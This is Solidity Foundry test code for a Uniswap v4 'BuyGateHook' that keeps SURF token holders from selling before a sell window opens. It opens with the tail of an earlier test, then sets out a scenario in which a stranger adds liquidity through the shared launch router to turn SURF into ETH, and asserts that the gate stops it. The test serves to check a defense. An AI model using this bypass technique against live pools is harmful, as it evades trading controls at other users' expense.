        assertFalse(hook.sellWindowOpen(), "still day 0, still closed");
        assertEq(alice.balance, 0, "a holder turned SURF into ETH while sells were closed");
        assertEq(token.balanceOf(alice), 1_000 ether, "the holder's SURF left her hands without a sell window");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice A router anyone can call, which also initializes pools (like PositionManager.initializePool).
contract SharedLaunchRouter is PoolModifyLiquidityTest {
    constructor(IPoolManager m) PoolModifyLiquidityTest(m) {}

    function initializePool(PoolKey calldata key, uint160 sqrtPriceX96) external {
        manager.initialize(key, sqrtPriceX96);
    }
}

contract SharedRouterGateTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    SharedLaunchRouter router;
    PoolModifyLiquidityTest otherRouter;
    PoolKey key;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        router = new SharedLaunchRouter(IPoolManager(address(manager)));
        otherRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });

        token.approve(address(router), type(uint256).max);
        token.approve(address(otherRouter), type(uint256).max);
        vm.deal(address(this), 100_000 ether);
        token.transfer(alice, 1_000 ether);
        vm.deal(bob, 10_000 ether);
        vm.prank(alice);
        token.approve(address(router), type(uint256).max);
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP
            | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    /// Launch initializes and seeds through a shared router; later every user of that router passes the gate.
    function test_sharedRouterInitializerAdmitsEveryone() public {
        router.initializePool(key, SQRT_PRICE_1_1);
        router.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );
        assertEq(hook.initializer(), address(router));
        assertTrue(hook.seeded());

        // next transaction: alice, a stranger, parks SURF below the price through the same router
        vm.roll(block.number + 1);
        uint256 aliceEthBefore = alice.balance;
        bool added;
        vm.prank(alice);
        try router.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(0)), "") {
            added = true;
        } catch {}
        emit log_named_string("alice add through launch router", added ? "ACCEPTED" : "refused");

        vm.prank(bob);
        swapRouter.swap{value: 2_000 ether}(
            key, SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), ""
        );
        if (added) {
            vm.prank(alice);
            router.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(0)), "");
        }
        emit log_named_uint("alice ETH gained", alice.balance - aliceEthBefore);
        emit log_named_uint("alice SURF after", token.balanceOf(alice));
        assertFalse(hook.sellWindowOpen());
        assertEq(alice.balance, aliceEthBefore, "stranger turned SURF into ETH through the launch router");
    }
}